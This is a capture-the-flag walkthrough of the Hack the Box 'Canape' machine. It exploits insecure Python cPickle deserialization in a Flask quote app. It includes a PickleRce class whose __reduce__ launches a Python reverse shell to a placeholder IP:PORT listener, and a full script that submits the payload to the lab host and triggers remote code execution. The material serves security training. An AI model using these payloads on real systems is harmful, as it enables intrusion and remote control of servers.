Exploiting Python Pickle
Hack the Box is a known platform containing a set of security challenges and in this instance, we will cover solving of a subsection of the retired ‘Canape’ box, consisting of a remote code execution by abusing insecure deserialization of Python Pickle.
After enumerating the host, we will come across a snippet of code which will be of interest to us. Obtaining this snippet is fairly simple and I didn’t feel like writing about it, so I won’t spoil it for you entirely! There are two parts we are interested in this walkthrough, so lets go step by step.
@app.route("/submit", methods=["GET", "POST"])
def submit():
error = None
success = None
if request.method == "POST":
try:
char = request.form["character"]
quote = request.form["quote"]
if not char or not quote:
error = True
elif not any(c.lower() in char.lower() for c in WHITELIST):
error = True
else:
# TODO - Pickle into dictionary instead, `check` is ready
p_id = md5(char + quote).hexdigest()
outfile = open("/tmp/" + p_id + ".p", "wb")
outfile.write(char + quote)
outfile.close()
success = True
except Exception as ex:
error = True
return render_template("submit.html", error=error, success=success)
In the snippet above we can see what occurs when we ‘submit’ a new Simpsons quote to the application. The server side code will receive two POST parameters from us, one of which will need to be a valid Simpsons character, and the other can be anything we want. The POST parameters received are the following:
- ‘character’ - A valid Simpsons character (from now on Krusty)
- ‘quote’ - This can be anything we want
Below is the vulnerable snippet of code we are going to abuse.
@app.route("/check", methods=["POST"])
def check():
path = "/tmp/" + request.form["id"] + ".p"
data = open(path, "rb").read()
if "p1" in data:
item = cPickle.loads(data)
else:
item = data
return "Still reviewing: " + item
Here we can observe that the application attempts to deserialize the contents of a file depending on an ‘id’ POST parameter which we submit to the application. This file name is easily guessed, as we can see how they save files in our first code snippet:
p_id = md5(char + quote).hexdigest()
The ID we need to submit will need to be a hexadecimal representation of the md5(char + quote), all of which we know.
Thats all fine and dandy for now, but why should we care? In this ‘/check’ functionality, we see that the application uses cPickle to deserialize any data that we retrieve from the file we give it.
item = cPickle.loads(data)
This looks interesting, as we control data that the function receives.
Lets lay out the objectives which we want to achieve knowing the above:
- Submit unsanitised data using the ‘quote’ POST parameter
- The application will load this data using cPickle.loads(data)
- ???
- Shell
Python’s pickle library helps in serializing data and storage and is vulnerable like most of the serialization libraries.
The pickle library allows arbitrary objects to declare how they should be pickled by defining a reduce method, which should return either a string or a tuple describing how to reconstruct this object on unpacking.
This returned tuple should contain a class to be called, and a tuple of arguments, as such we can craft our payload by defining the following python class (where IP and PORT are our remote listener):
class PickleRce(object):
def __reduce__(self):
import subprocess
return (subprocess.Popen, (('/bin/sh','-c','/usr/bin/python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"IP\",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);\''),0))
We can test that our PickleRce object is constructed correctly (and in a similar way of the challenge server) by pickling it, saving it to a file and then deserialising it. This can be done as below:
## Ported server side deserialization
def deserializePayload(filename):
data = open(filename, "rb").read()
if "p1" in data:
item = cPickle.loads(data)
else:
item = data
return "Still reviewing: " + item
payload = cPickle.dumps(PickleRce())
char = payload + char
text_file = open("output.txt", "w")
text_file.write(char + quote)
text_file.close()
deserializePayload("output.txt")
Once we have a functioning payload, we can piece all elements together:
import string
import random
import base64
import cPickle
from hashlib import md5
import requests
import sys
#Set proxies to inspect data we are sending
proxies = {
'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080',
}
#Our deserialisation payload
class PickleRce(object):
def __reduce__(self):
import subprocess
return (subprocess.Popen, (('/bin/sh','-c','/usr/bin/python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"IP\",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);\''),0))
#Characters submitted should be in this whitelist
WHITELIST = [
"homer",
"marge",
"bart",
"lisa",
"maggie",
"moe",
"carl",
"krusty"
]
#Submitting our payload, which will then be saved by the server to a file named 'md5(char + quote).hexdigest()'
#This function returns the name of the saved file - p_id
#POST /submit HTTP/1.1
#Host: 10.10.10.70
#character=Homer"e=test
#
def submit():
char = "krusty"
if not any(c.lower() in char.lower() for c in WHITELIST):
print 'Error'
exit(1)
quote = "HellaHello"
#quote = base64.b64encode(cPickle.dumps(PickleRce()))
payload = cPickle.dumps(PickleRce())
char = payload + char
p_id = md5(char + quote).hexdigest()
text_file = open("output.txt", "w")
text_file.write(char + quote)
text_file.close()
print '[+] Sending [quote] request'
r = requests.post("http://10.10.10.70/submit",data = {'character':char,'quote':quote},proxies=proxies)
print 'Received response - ' , r.status_code
print 'p_id of post - ' , p_id
return p_id
#Make the vulnerable application deserialise our payload contained in p_id. This will execute on the server the payload we defined in the PickleRce object
def check(p_id):
print '[+] Sending [check] request'
r = requests.post("http://10.10.10.70/check",data = {'id':p_id},proxies=proxies)
print 'Received response - ' , r.status_code
return r
p_id = submit()
check(p_id)